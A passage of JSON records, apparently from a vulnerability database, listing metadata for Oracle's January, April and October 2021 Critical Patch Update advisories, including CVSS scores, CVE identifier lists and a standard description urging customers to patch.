"cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-01-19T00:00:00", "type": "oracle", "title": "Oracle Critical Patch Update Advisory - January 2021", "bulletinFamily": "software", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2012-2098", "CVE-2015-4000", "CVE-2015-8965", "CVE-2016-1000031", "CVE-2016-5725", "CVE-2017-12626", "CVE-2017-5611", "CVE-2017-5645", "CVE-2017-8028", "CVE-2018-0732", "CVE-2018-10237", "CVE-2018-11775", "CVE-2018-1258", "CVE-2018-1285", "CVE-2018-15756", "CVE-2018-20781", "CVE-2018-2587", "CVE-2018-7318", "CVE-2018-8032", "CVE-2018-9019", "CVE-2019-0188", "CVE-2019-0227", "CVE-2019-0230", "CVE-2019-0233", "CVE-2019-10086", "CVE-2019-10173", "CVE-2019-10246", "CVE-2019-10247", "CVE-2019-10744", "CVE-2019-11135", "CVE-2019-11269", "CVE-2019-11358", "CVE-2019-12399", "CVE-2019-12402", "CVE-2019-12415", "CVE-2019-13990", "CVE-2019-14862", "CVE-2019-1551", "CVE-2019-1559", "CVE-2019-17091", "CVE-2019-17195", "CVE-2019-17359", "CVE-2019-17563", "CVE-2019-17566", "CVE-2019-17569", "CVE-2019-20892", "CVE-2019-20907", "CVE-2019-2697", "CVE-2019-3773", "CVE-2019-3778", "CVE-2019-5427", "CVE-2019-7164", "CVE-2019-7548", "CVE-2019-9511", "CVE-2019-9513", "CVE-2020-10531", "CVE-2020-10543", "CVE-2020-10650", "CVE-2020-10672", "CVE-2020-10673", "CVE-2020-10683", "CVE-2020-10722", "CVE-2020-10723", "CVE-2020-10724", "CVE-2020-10725", "CVE-2020-10726", "CVE-2020-10878", "CVE-2020-10968", "CVE-2020-10969", "CVE-2020-11022", "CVE-2020-11023", "CVE-2020-11080", "CVE-2020-11111", "CVE-2020-11112", "CVE-2020-11113", "CVE-2020-11612", "CVE-2020-11619", "CVE-2020-11620", "CVE-2020-11655", "CVE-2020-11656", "CVE-2020-11971", "CVE-2020-11972", "CVE-2020-11973", "CVE-2020-11979", "CVE-2020-11984", "CVE-2020-11985", "CVE-2020-11993", "CVE-2020-11994", "CVE-2020-11996", "CVE-2020-11998", "CVE-2020-12723", "CVE-2020-13254", "CVE-2020-13596", "CVE-2020-13871", "CVE-2020-13934", "CVE-2020-13935", "CVE-2020-13954", "CVE-2020-14060", "CVE-2020-14061", "CVE-2020-14062", "CVE-2020-14147", "CVE-2020-14195", "CVE-2020-14422", "CVE-2020-14750", "CVE-2020-14756", "CVE-2020-14803", "CVE-2020-15025", "CVE-2020-15358", "CVE-2020-17498", "CVE-2020-17521", "CVE-2020-17530", "CVE-2020-1935", "CVE-2020-1938", "CVE-2020-1945", "CVE-2020-1967", "CVE-2020-1968", "CVE-2020-1971", "CVE-2020-24583", "CVE-2020-24584", "CVE-2020-24616", "CVE-2020-24750", "CVE-2020-25020", "CVE-2020-2555", "CVE-2020-25862", "CVE-2020-25863", "CVE-2020-25866", "CVE-2020-26575", "CVE-2020-27216", "CVE-2020-35460", "CVE-2020-5398", "CVE-2020-5407", "CVE-2020-5408", "CVE-2020-5421", "CVE-2020-7064", "CVE-2020-8172", "CVE-2020-8174", "CVE-2020-8265", "CVE-2020-8277", "CVE-2020-8287", "CVE-2020-9281", "CVE-2020-9327", "CVE-2020-9484", "CVE-2020-9488", "CVE-2020-9490", "CVE-2020-9546", "CVE-2020-9547", "CVE-2020-9548", "CVE-2021-1993", "CVE-2021-1994", "CVE-2021-1995", "CVE-2021-1996", "CVE-2021-1997", "CVE-2021-1998", "CVE-2021-1999", "CVE-2021-2000", "CVE-2021-2001", "CVE-2021-2002", "CVE-2021-2003", "CVE-2021-2004", "CVE-2021-2005", "CVE-2021-2006", "CVE-2021-2007", "CVE-2021-2009", "CVE-2021-2010", "CVE-2021-2011", "CVE-2021-2012", "CVE-2021-2013", "CVE-2021-2014", "CVE-2021-2015", "CVE-2021-2016", "CVE-2021-2017", "CVE-2021-2018", "CVE-2021-2019", "CVE-2021-2020", "CVE-2021-2021", "CVE-2021-2022", "CVE-2021-2023", "CVE-2021-2024", "CVE-2021-2025", "CVE-2021-2026", "CVE-2021-2027", "CVE-2021-2028", "CVE-2021-2029", "CVE-2021-2030", "CVE-2021-2031", "CVE-2021-2032", "CVE-2021-2033", "CVE-2021-2034", "CVE-2021-2035", "CVE-2021-2036", "CVE-2021-2038", "CVE-2021-2039", "CVE-2021-2040", "CVE-2021-2041", "CVE-2021-2042", "CVE-2021-2043", "CVE-2021-2044", "CVE-2021-2045", "CVE-2021-2046", "CVE-2021-2047", "CVE-2021-2048", "CVE-2021-2049", "CVE-2021-2050", "CVE-2021-2051", "CVE-2021-2052", "CVE-2021-2054", "CVE-2021-2055", "CVE-2021-2056", "CVE-2021-2057", "CVE-2021-2058", "CVE-2021-2059", "CVE-2021-2060", "CVE-2021-2061", "CVE-2021-2062", "CVE-2021-2063", "CVE-2021-2064", "CVE-2021-2065", "CVE-2021-2066", "CVE-2021-2067", "CVE-2021-2068", "CVE-2021-2069", "CVE-2021-2070", "CVE-2021-2071", "CVE-2021-2072", "CVE-2021-2073", "CVE-2021-2074", "CVE-2021-2075", "CVE-2021-2076", "CVE-2021-2077", "CVE-2021-2078", "CVE-2021-2079", "CVE-2021-2080", "CVE-2021-2081", "CVE-2021-2082", "CVE-2021-2083", "CVE-2021-2084", "CVE-2021-2085", "CVE-2021-2086", "CVE-2021-2087", "CVE-2021-2088", "CVE-2021-2089", "CVE-2021-2090", "CVE-2021-2091", "CVE-2021-2092", "CVE-2021-2093", "CVE-2021-2094", "CVE-2021-2096", "CVE-2021-2097", "CVE-2021-2098", "CVE-2021-2099", "CVE-2021-2100", "CVE-2021-2101", "CVE-2021-2102", "CVE-2021-2103", "CVE-2021-2104", "CVE-2021-2105", "CVE-2021-2106", "CVE-2021-2107", "CVE-2021-2108", "CVE-2021-2109", "CVE-2021-2110", "CVE-2021-2111", "CVE-2021-2112", "CVE-2021-2113", "CVE-2021-2114", "CVE-2021-2115", "CVE-2021-2116", "CVE-2021-2117", "CVE-2021-2118", "CVE-2021-2119", "CVE-2021-2120", "CVE-2021-2121", "CVE-2021-2122", "CVE-2021-2123", "CVE-2021-2124", "CVE-2021-2125", "CVE-2021-2126", "CVE-2021-2127", "CVE-2021-2128", "CVE-2021-2129", "CVE-2021-2130", "CVE-2021-2131"], "modified": "2021-02-22T00:00:00", "id": "ORACLE:CPUJAN2021", "href": "https://www.oracle.com/security-alerts/cpujan2021.html", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2023-12-07T20:11:16", "description": "A Critical Patch Update is a collection of patches for multiple security vulnerabilities. These patches address vulnerabilities in Oracle code and in third-party components included in Oracle products. These patches are usually cumulative, but each advisory describes only the security patches added since the previous Critical Patch Update Advisory. Thus, prior Critical Patch Update advisories should be reviewed for information regarding earlier published security patches. Refer to [\u201cCritical Patch Updates, Security Alerts and Bulletins\u201d](<https://www.oracle.com/security-alerts/>) for information about Oracle Security advisories. \n\n**Oracle continues to periodically receive reports of attempts to maliciously exploit vulnerabilities for which Oracle has already released security patches. In some instances, it has been reported that attackers have been successful because targeted customers had failed to apply available Oracle patches. Oracle therefore strongly recommends that customers remain on actively-supported versions and apply Critical Patch Update security patches without delay.**\n\nThis Critical Patch Update contains 419 new security patches across the product families listed below. Please note that an MOS note summarizing the content of this Critical Patch Update and other Oracle Software Security Assurance activities is located at [ October 2021 Critical Patch Update: Executive Summary and Analysis](<https://support.oracle.com/rs?type=doc&id=2809080.1>).\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 10.0, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 6.0}, "published": "2021-10-19T00:00:00", "type": "oracle", "title": "Oracle Critical Patch Update Advisory - October 2021", "bulletinFamily": "software", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2016-0762", "CVE-2016-1000031", "CVE-2016-2183", "CVE-2016-5018", "CVE-2016-6794", "CVE-2016-6796", "CVE-2016-6797", "CVE-2017-5645", "CVE-2017-9841", "CVE-2018-10237", "CVE-2018-11039", "CVE-2018-11040", "CVE-2018-1257", "CVE-2018-1258", "CVE-2018-1270", "CVE-2018-1271", "CVE-2018-1272", "CVE-2018-1275", "CVE-2018-14550", "CVE-2018-15756", "CVE-2018-20031", "CVE-2018-20032", "CVE-2018-20033", "CVE-2018-20034", "CVE-2018-20843", "CVE-2018-8032", "CVE-2018-8088", "CVE-2019-0227", "CVE-2019-0228", "CVE-2019-0230", "CVE-2019-0233", "CVE-2019-10082", "CVE-2019-10086", "CVE-2019-11358", "CVE-2019-12400", "CVE-2019-12415", "CVE-2019-13990", "CVE-2019-16775", "CVE-2019-17195", "CVE-2019-17566", "CVE-2019-17567", "CVE-2019-20388", "CVE-2019-3738", "CVE-2019-3739", "CVE-2019-3740", "CVE-2019-5427", "CVE-2019-7317", "CVE-2020-10543", "CVE-2020-10672", "CVE-2020-10673", "CVE-2020-10683", "CVE-2020-10878", "CVE-2020-10968", "CVE-2020-10969", "CVE-2020-11022", "CVE-2020-11023", "CVE-2020-11111", "CVE-2020-11112", "CVE-2020-11113", "CVE-2020-11979", "CVE-2020-11987", "CVE-2020-11988", "CVE-2020-11994", "CVE-2020-11998", "CVE-2020-12723", "CVE-2020-13947", "CVE-2020-13950", "CVE-2020-13954", "CVE-2020-13956", "CVE-2020-14060", "CVE-2020-14061", "CVE-2020-14062", "CVE-2020-14195", "CVE-2020-15824", "CVE-2020-17521", "CVE-2020-17530", "CVE-2020-1945", "CVE-2020-1967", "CVE-2020-1968", "CVE-2020-1971", "CVE-2020-24616", "CVE-2020-24750", "CVE-2020-24977", "CVE-2020-25648", "CVE-2020-25649", "CVE-2020-26116", "CVE-2020-26137", "CVE-2020-26217", "CVE-2020-27193", "CVE-2020-27216", "CVE-2020-27218", "CVE-2020-27824", "CVE-2020-28052", "CVE-2020-28500", "CVE-2020-28928", "CVE-2020-29661", "CVE-2020-35452", "CVE-2020-35490", "CVE-2020-35491", "CVE-2020-35728", "CVE-2020-36179", "CVE-2020-36180", "CVE-2020-36181", "CVE-2020-36182", "CVE-2020-36183", "CVE-2020-36184", "CVE-2020-36185", "CVE-2020-36186", "CVE-2020-36187", "CVE-2020-36188", "CVE-2020-36189", "CVE-2020-5258", "CVE-2020-5397", "CVE-2020-5398", "CVE-2020-5413", "CVE-2020-6950", "CVE-2020-7065", "CVE-2020-7069", "CVE-2020-7071", "CVE-2020-7226", "CVE-2020-7595", "CVE-2020-8203", "CVE-2020-8277", "CVE-2020-8622", "CVE-2020-8908", "CVE-2020-9484", "CVE-2020-9488", "CVE-2020-9546", "CVE-2020-9547", "CVE-2020-9548", "CVE-2021-20227", "CVE-2021-20265", "CVE-2021-21290", "CVE-2021-21341", "CVE-2021-21342", "CVE-2021-21343", "CVE-2021-21344", "CVE-2021-21345", "CVE-2021-21346", "CVE-2021-21347", "CVE-2021-21348", "CVE-2021-21349", "CVE-2021-21350", "CVE-2021-21351", "CVE-2021-2137", "CVE-2021-21409", "CVE-2021-21702", "CVE-2021-21783", "CVE-2021-22112", "CVE-2021-22118", "CVE-2021-22207", "CVE-2021-22222", "CVE-2021-22696", "CVE-2021-22883", "CVE-2021-22884", "CVE-2021-22922", "CVE-2021-22923", "CVE-2021-22924", "CVE-2021-22925", "CVE-2021-22926", "CVE-2021-22931", "CVE-2021-22939", "CVE-2021-22940", "CVE-2021-22945", "CVE-2021-22946", "CVE-2021-22947", "CVE-2021-23017", "CVE-2021-2332", "CVE-2021-23336", "CVE-2021-23337", "CVE-2021-2341", "CVE-2021-2351", "CVE-2021-2369", "CVE-2021-23839", "CVE-2021-23840", "CVE-2021-23841", "CVE-2021-2388", "CVE-2021-23926", "CVE-2021-2414", "CVE-2021-2416", "CVE-2021-2432", "CVE-2021-2461", "CVE-2021-2471", "CVE-2021-2474", "CVE-2021-2475", "CVE-2021-2476", "CVE-2021-2477", "CVE-2021-2478", "CVE-2021-2479", "CVE-2021-2480", "CVE-2021-2481", "CVE-2021-2482", "CVE-2021-2483", "CVE-2021-2484", "CVE-2021-2485", "CVE-2021-25122", "CVE-2021-25215", "CVE-2021-25329", "CVE-2021-26117", "CVE-2021-26271", "CVE-2021-26272", "CVE-2021-26690", "CVE-2021-26691", "CVE-2021-27290", "CVE-2021-27364", "CVE-2021-27365", "CVE-2021-27807", "CVE-2021-27906", "CVE-2021-28163", "CVE-2021-28164", "CVE-2021-28165", "CVE-2021-28169", "CVE-2021-28363", "CVE-2021-28657", "CVE-2021-28957", "CVE-2021-29425", "CVE-2021-29505", "CVE-2021-29921", "CVE-2021-30369", "CVE-2021-30468", "CVE-2021-30640", "CVE-2021-30641", "CVE-2021-3156", "CVE-2021-31618", "CVE-2021-3177", "CVE-2021-31811", "CVE-2021-31812", "CVE-2021-32803", "CVE-2021-32804", "CVE-2021-32808", "CVE-2021-32809", "CVE-2021-33037", "CVE-2021-33503", "CVE-2021-33560", "CVE-2021-3426", "CVE-2021-34428", "CVE-2021-3449", "CVE-2021-3450", "CVE-2021-34558", "CVE-2021-35043", "CVE-2021-3517", "CVE-2021-3518", "CVE-2021-3520", "CVE-2021-3522", "CVE-2021-3537", "CVE-2021-35515", "CVE-2021-35516", "CVE-2021-35517", "CVE-2021-35536", "CVE-2021-35537", "CVE-2021-35538", "CVE-2021-35539", "CVE-2021-35540", "CVE-2021-35541", "CVE-2021-35542", "CVE-2021-35543", "CVE-2021-35545", "CVE-2021-35546", "CVE-2021-35549", "CVE-2021-35550", "CVE-2021-35551", "CVE-2021-35552", "CVE-2021-35553", "CVE-2021-35554", "CVE-2021-35556", "CVE-2021-35557", "CVE-2021-35558", "CVE-2021-35559", "CVE-2021-35560", "CVE-2021-35561", "CVE-2021-35562", "CVE-2021-35563", "CVE-2021-35564", "CVE-2021-35565", "CVE-2021-35566", "CVE-2021-35567", "CVE-2021-35568", "CVE-2021-35569", "CVE-2021-35570", "CVE-2021-35571", "CVE-2021-35572", "CVE-2021-35573", "CVE-2021-35574", "CVE-2021-35575", "CVE-2021-35576", "CVE-2021-35577", "CVE-2021-35578", "CVE-2021-35580", "CVE-2021-35581", "CVE-2021-35582", "CVE-2021-35583", "CVE-2021-35584", "CVE-2021-35585", "CVE-2021-35586", "CVE-2021-35588", "CVE-2021-35589", "CVE-2021-35590", "CVE-2021-35591", "CVE-2021-35592", "CVE-2021-35593", "CVE-2021-35594", "CVE-2021-35595", "CVE-2021-35596", "CVE-2021-35597", "CVE-2021-35598", "CVE-2021-35599", "CVE-2021-35601", "CVE-2021-35602", "CVE-2021-35603", "CVE-2021-35604", "CVE-2021-35606", "CVE-2021-35607", "CVE-2021-35608", "CVE-2021-35609", "CVE-2021-35610", "CVE-2021-35611", "CVE-2021-35612", "CVE-2021-35613", "CVE-2021-35616", "CVE-2021-35617", "CVE-2021-35618", "CVE-2021-35619", "CVE-2021-35620", "CVE-2021-35621", "CVE-2021-35622", "CVE-2021-35623", "CVE-2021-35624", "CVE-2021-35625", "CVE-2021-35626", "CVE-2021-35627", "CVE-2021-35628", "CVE-2021-35629", "CVE-2021-35630", "CVE-2021-35631", "CVE-2021-35632", "CVE-2021-35633", "CVE-2021-35634", "CVE-2021-35635", "CVE-2021-35636", "CVE-2021-35637", "CVE-2021-35638", "CVE-2021-35639", "CVE-2021-35640", "CVE-2021-35641", "CVE-2021-35642", "CVE-2021-35643", "CVE-2021-35644", "CVE-2021-35645", "CVE-2021-35646", "CVE-2021-35647", "CVE-2021-35648", "CVE-2021-35649", "CVE-2021-35650", "CVE-2021-35651", "CVE-2021-35652", "CVE-2021-35653", "CVE-2021-35654", "CVE-2021-35655", "CVE-2021-35656", "CVE-2021-35657", "CVE-2021-35658", "CVE-2021-35659", "CVE-2021-35660", "CVE-2021-35661", "CVE-2021-35662", "CVE-2021-35665", "CVE-2021-35666", "CVE-2021-36090", "CVE-2021-36222", "CVE-2021-36373", "CVE-2021-36374", "CVE-2021-3711", "CVE-2021-3712", "CVE-2021-37695", "CVE-2021-37701", "CVE-2021-37712", "CVE-2021-37713", "CVE-2021-39134", "CVE-2021-39135"], "modified": "2022-01-18T00:00:00", "id": "ORACLE:CPUOCT2021", "href": "https://www.oracle.com/security-alerts/cpuoct2021.html", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2023-12-07T20:10:35", "description": "A Critical Patch Update is a collection of patches for multiple security vulnerabilities. These patches address vulnerabilities in Oracle code and in third-party components included in Oracle products. These patches are usually cumulative, but each advisory describes only the security patches added since the previous Critical Patch Update Advisory. Thus, prior Critical Patch Update advisories should be reviewed for information regarding earlier published security patches. Refer to [\u201cCritical Patch Updates, Security Alerts and Bulletins\u201d](<https://www.oracle.com/security-alerts/>) for information about Oracle Security advisories. \n\n**Oracle continues to periodically receive reports of attempts to maliciously exploit vulnerabilities for which Oracle has already released security patches. In some instances, it has been reported that attackers have been successful because targeted customers had failed to apply available Oracle patches. Oracle therefore strongly recommends that customers remain on actively-supported versions and apply Critical Patch Update security patches without delay.**\n\nThis Critical Patch Update contains 391 new security patches across the product families listed below. Please note that an MOS note summarizing the content of this Critical Patch Update and other Oracle Software Security Assurance activities is located at [ April 2021 Critical Patch Update: Executive Summary and Analysis](<https://support.oracle.com/rs?type=doc&id=2765149.1>).\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 10.0, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 6.0}, "published": "2021-04-20T00:00:00", "type": "oracle", "title": "Oracle Critical Patch Update Advisory - April 2021", "bulletinFamily": "software", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2016-2542", "CVE-2016-5725", "CVE-2016-7103", "CVE-2017-1000061", "CVE-2017-12626", "CVE-2017-14735", "CVE-2017-18640", "CVE-2017-5645", "CVE-2018-1000180", "CVE-2018-1000613", "CVE-2018-1000632", "CVE-2018-1285", "CVE-2018-14040", "CVE-2018-14041", "CVE-2018-14042", "CVE-2018-14550", "CVE-2018-14613", "CVE-2018-16884", "CVE-2018-20843", "CVE-2018-8032", "CVE-2019-0219", "CVE-2019-0221", "CVE-2019-0227", "CVE-2019-0228", "CVE-2019-0230", "CVE-2019-0232", "CVE-2019-0233", "CVE-2019-10072", "CVE-2019-10080", "CVE-2019-10086", "CVE-2019-10098", "CVE-2019-10173", "CVE-2019-10246", "CVE-2019-10247", "CVE-2019-10638", "CVE-2019-10639", "CVE-2019-11358", "CVE-2019-11487", "CVE-2019-11599", "CVE-2019-12086", "CVE-2019-12399", "CVE-2019-12402", "CVE-2019-12406", "CVE-2019-1241", "CVE-2019-12415", "CVE-2019-12419", "CVE-2019-12423", "CVE-2019-14379", "CVE-2019-14898", "CVE-2019-15218", "CVE-2019-1551", "CVE-2019-16746", "CVE-2019-16942", "CVE-2019-17075", "CVE-2019-17133", "CVE-2019-17195", "CVE-2019-17495", "CVE-2019-17566", "CVE-2019-17571", "CVE-2019-17573", "CVE-2019-17632", "CVE-2019-17638", "CVE-2019-18885", "CVE-2019-19052", "CVE-2019-19063", "CVE-2019-19066", "CVE-2019-19073", "CVE-2019-19074", "CVE-2019-19078", "CVE-2019-19535", "CVE-2019-19922", "CVE-2019-20812", "CVE-2019-2904", "CVE-2019-3738", "CVE-2019-3739", "CVE-2019-3740", "CVE-2019-3773", "CVE-2019-3874", "CVE-2019-3900", "CVE-2019-5063", "CVE-2019-5064", "CVE-2019-5108", "CVE-2019-5428", "CVE-2019-7317", "CVE-2019-8331", "CVE-2020-10188", "CVE-2020-10543", "CVE-2020-10683", "CVE-2020-10751", "CVE-2020-10769", "CVE-2020-10878", "CVE-2020-11022", "CVE-2020-11023", "CVE-2020-11612", "CVE-2020-11655", "CVE-2020-11656", "CVE-2020-11973", "CVE-2020-11979", "CVE-2020-11987", "CVE-2020-11994", "CVE-2020-11998", "CVE-2020-12114", "CVE-2020-12723", "CVE-2020-12771", "CVE-2020-13434", "CVE-2020-13435", "CVE-2020-13871", "CVE-2020-13934", "CVE-2020-13935", "CVE-2020-13943", "CVE-2020-13954", "CVE-2020-13956", "CVE-2020-14039", "CVE-2020-14060", "CVE-2020-14061", "CVE-2020-14062", "CVE-2020-14195", "CVE-2020-1472", "CVE-2020-15358", "CVE-2020-15586", "CVE-2020-16166", "CVE-2020-16845", "CVE-2020-17521", "CVE-2020-17527", "CVE-2020-17530", "CVE-2020-1927", "CVE-2020-1941", "CVE-2020-1945", "CVE-2020-1967", "CVE-2020-1968", "CVE-2020-1971", "CVE-2020-24394", "CVE-2020-24553", "CVE-2020-24616", "CVE-2020-24750", "CVE-2020-25649", "CVE-2020-26217", "CVE-2020-26418", "CVE-2020-26419", "CVE-2020-26420", "CVE-2020-26421", "CVE-2020-26422", "CVE-2020-27193", "CVE-2020-27216", "CVE-2020-27218", "CVE-2020-27223", "CVE-2020-27841", "CVE-2020-27842", "CVE-2020-27843", "CVE-2020-27844", "CVE-2020-27845", "CVE-2020-28052", "CVE-2020-28196", "CVE-2020-35490", "CVE-2020-35491", "CVE-2020-35728", "CVE-2020-36179", "CVE-2020-36180", "CVE-2020-36181", "CVE-2020-36182", "CVE-2020-36183", "CVE-2020-36184", "CVE-2020-36185", "CVE-2020-36186", "CVE-2020-36187", "CVE-2020-36188", "CVE-2020-36189", "CVE-2020-5359", "CVE-2020-5360", "CVE-2020-5398", "CVE-2020-5407", "CVE-2020-5408", "CVE-2020-5413", "CVE-2020-5421", "CVE-2020-7059", "CVE-2020-7060", "CVE-2020-7069", "CVE-2020-7760", "CVE-2020-7774", "CVE-2020-7919", "CVE-2020-8203", "CVE-2020-8277", "CVE-2020-8284", "CVE-2020-8285", "CVE-2020-8286", "CVE-2020-8908", "CVE-2020-9281", "CVE-2020-9327", "CVE-2020-9480", "CVE-2020-9484", "CVE-2020-9488", "CVE-2020-9489", "CVE-2021-2008", "CVE-2021-20227", "CVE-2021-2053", "CVE-2021-21290", "CVE-2021-2134", "CVE-2021-21345", "CVE-2021-2135", "CVE-2021-2136", "CVE-2021-2140", "CVE-2021-2141", "CVE-2021-2142", "CVE-2021-2144", "CVE-2021-2145", "CVE-2021-2146", "CVE-2021-2147", "CVE-2021-2149", "CVE-2021-2150", "CVE-2021-2151", "CVE-2021-2152", "CVE-2021-2153", "CVE-2021-2154", "CVE-2021-2155", "CVE-2021-2156", "CVE-2021-2157", "CVE-2021-2158", "CVE-2021-2159", "CVE-2021-2160", "CVE-2021-2161", "CVE-2021-2162", "CVE-2021-2163", "CVE-2021-2164", "CVE-2021-2166", "CVE-2021-2167", "CVE-2021-2169", "CVE-2021-2170", "CVE-2021-2171", "CVE-2021-2172", "CVE-2021-2173", "CVE-2021-2174", "CVE-2021-2175", "CVE-2021-2177", "CVE-2021-2178", "CVE-2021-2179", "CVE-2021-2180", "CVE-2021-2181", "CVE-2021-2182", "CVE-2021-2183", "CVE-2021-2184", "CVE-2021-2185", "CVE-2021-2186", "CVE-2021-2187", "CVE-2021-2188", "CVE-2021-2189", "CVE-2021-2190", "CVE-2021-2191", "CVE-2021-2192", "CVE-2021-2193", "CVE-2021-2194", "CVE-2021-2195", "CVE-2021-2196", "CVE-2021-2197", "CVE-2021-2198", "CVE-2021-2199", "CVE-2021-2200", "CVE-2021-2201", "CVE-2021-2202", "CVE-2021-2203", "CVE-2021-2204", "CVE-2021-2205", "CVE-2021-2206", "CVE-2021-2207", "CVE-2021-2208", "CVE-2021-2209", "CVE-2021-2210", "CVE-2021-2211", "CVE-2021-22112", "CVE-2021-2212", "CVE-2021-2213", "CVE-2021-2214", "CVE-2021-2215", "CVE-2021-2216", "CVE-2021-2217", "CVE-2021-22173", "CVE-2021-22174", "CVE-2021-2218", "CVE-2021-2219", "CVE-2021-22191", "CVE-2021-2220", "CVE-2021-2221", "CVE-2021-2222", "CVE-2021-2223", "CVE-2021-2224", "CVE-2021-2225", "CVE-2021-2226", "CVE-2021-2227", "CVE-2021-2228", "CVE-2021-2229", "CVE-2021-2230", "CVE-2021-2231", "CVE-2021-2232", "CVE-2021-2233", "CVE-2021-2234", "CVE-2021-2235", "CVE-2021-2236", "CVE-2021-2237", "CVE-2021-2238", "CVE-2021-2239", "CVE-2021-2240", "CVE-2021-2241", "CVE-2021-2242", "CVE-2021-2244", "CVE-2021-2245", "CVE-2021-2246", "CVE-2021-2247", "CVE-2021-2248", "CVE-2021-2249", "CVE-2021-2250", "CVE-2021-2251", "CVE-2021-2252", "CVE-2021-2253", "CVE-2021-2254", "CVE-2021-2255", "CVE-2021-2256", "CVE-2021-2257", "CVE-2021-2258", "CVE-2021-2259", "CVE-2021-2260", "CVE-2021-2261", "CVE-2021-2262", "CVE-2021-2263", "CVE-2021-2264", "CVE-2021-2266", "CVE-2021-2267", "CVE-2021-2268", "CVE-2021-2269", "CVE-2021-2270", "CVE-2021-2271", "CVE-2021-2272", "CVE-2021-2273", "CVE-2021-2274", "CVE-2021-2275", "CVE-2021-2276", "CVE-2021-2277", "CVE-2021-2278", "CVE-2021-2279", "CVE-2021-2280", "CVE-2021-2281", "CVE-2021-2282", "CVE-2021-2283", "CVE-2021-2284", "CVE-2021-2285", "CVE-2021-2286", "CVE-2021-2287", "CVE-2021-2288", "CVE-2021-22883", "CVE-2021-22884", "CVE-2021-2289", "CVE-2021-2290", "CVE-2021-2291", "CVE-2021-2292", "CVE-2021-2293", "CVE-2021-2294", "CVE-2021-2295", "CVE-2021-2296", "CVE-2021-2297", "CVE-2021-2298", "CVE-2021-2299", "CVE-2021-2300", "CVE-2021-2301", "CVE-2021-2302", "CVE-2021-2303", "CVE-2021-2304", "CVE-2021-2305", "CVE-2021-2306", "CVE-2021-2307", "CVE-2021-2308", "CVE-2021-2309", "CVE-2021-2310", "CVE-2021-2311", "CVE-2021-2312", "CVE-2021-2314", "CVE-2021-2315", "CVE-2021-2316", "CVE-2021-2317", "CVE-2021-2318", "CVE-2021-2319", "CVE-2021-2320", "CVE-2021-2321", "CVE-2021-23336", "CVE-2021-23839", "CVE-2021-23840", "CVE-2021-23841", "CVE-2021-3449", "CVE-2021-3450"], "modified": "2021-09-04T00:00:00", "id": "ORACLE:CPUAPR2021", "href": "https://www.oracle.com/security-alerts/cpuapr2021.html", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2023-12-07T20:11:35", "description": "A Critical Patch Update is a collection of patches for multiple security vulnerabilities. These patches address vulnerabilities in Oracle code and in third-party components included in Oracle products. These patches are usually cumulative, but each advisory describes only the security patches added since the previous Critical Patch Update Advisory. Thus, prior Critical Patch Update advisories should be reviewed for information regarding earlier published security patches. Refer to [\u201cCritical Patch Updates, Security Alerts and Bulletins\u201d](<https://www.oracle.com/security-alerts/>) for information about Oracle Security advisories. \n\n**Oracle continues to periodically receive reports of attempts to maliciously exploit vulnerabilities for which Oracle has already released security patches. In some instances, it has been reported that attackers have been successful because targeted customers had failed to apply available Oracle patches. Oracle therefore strongly recommends that customers remain on actively-supported versions and apply Critical Patch Update security patches without delay.**\n\nThis Critical Patch Update contains 342 new security patches across the product families listed below. Please note that an MOS note summarizing the content of this Critical 